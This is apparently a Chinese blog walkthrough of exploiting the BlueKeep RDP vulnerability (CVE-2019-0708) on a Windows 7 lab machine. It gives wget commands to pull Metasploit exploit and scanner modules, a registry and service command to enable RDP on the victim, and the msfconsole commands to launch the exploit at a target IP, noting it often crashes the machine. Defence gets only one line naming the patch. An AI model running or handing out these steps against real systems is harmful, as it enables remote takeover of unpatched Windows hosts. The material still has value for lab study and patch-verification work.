CVE-2019-0708远程桌面服务远程执行代码漏洞exp利用过程

CVE-2019-0708远程桌面服务远程执行代码漏洞

上边这洞是啥我就不多说了，描述类的自行百度。

受影响系统版本范围:

• Windows Server 2008 R2

• Windows Server 2008

• Windows Server 2003（已停止维护）

• Windows 7

• Windows XP（已停止维护）

听说前两天有个exp:

　　https://github.com/rapid7/metasploit-framework/tree/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp　

我借来玩了一下，大概玩法是这样的：

　　要有个环境，我用的win7sp1

　　

　   kali上我对我的整体环境进行了相关更新，以便更好匹配环境

　　gedit sources.list

　　apt-get update

　　apt-get install metasploit-framework

　　gedit sources.list

　　apt-get update && apt-get upgrade && apt-get dist-upgrade

　　apt-get install metasploit-framework

　　apt automove

　　apt autoremove

　　版本：

我先看看我msf安装的路径在哪里。

  find / -name 'metasploit'

找到/usr/share/下

然后这堆东西进行下载

首先，我们需要下载好攻击套件放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可)

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb 

放在/usr/share/metasploit-framework/lib/msf/core/exploit/  记住要替换

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

放在/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

放在/usr/share/metasploit-framework/modules/exploits/rdp，如果这里没有rdp目录，就用mkdir命令创建一个rdp目录

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

放在/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp，如果这里没有rdp目录，就用mkdir命令创建一个rdp目录

使用msfupdate、reload_all更新重载一下msf。

就能找到刚才的文件了：

要有3389

关闭防火墙：

哦对了，受害者机器还要刚好有一行注册表：

@echo offcolor 1c sc config MpsSvc start= auto sc start MpsSvc reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f

攻击机ip：192.168.10.152  受害者ip：192.168.10.154

玩起我们的exp

use exploit/rdp/cve_2019_0708_bluekeep_rce

set rhosts 192.168.10.154

set target 3  （可以使用show targets看一下，选适合自己环境的）

set forceexploit true

run

蓝了，多试几次，有点不稳定

嗯嗯嗯，有点不稳定，有点难用，不过还是有成功的时候，可以再等等新版本，没更好用的之前先凑合用吧。

防御：

不多说，KB4495667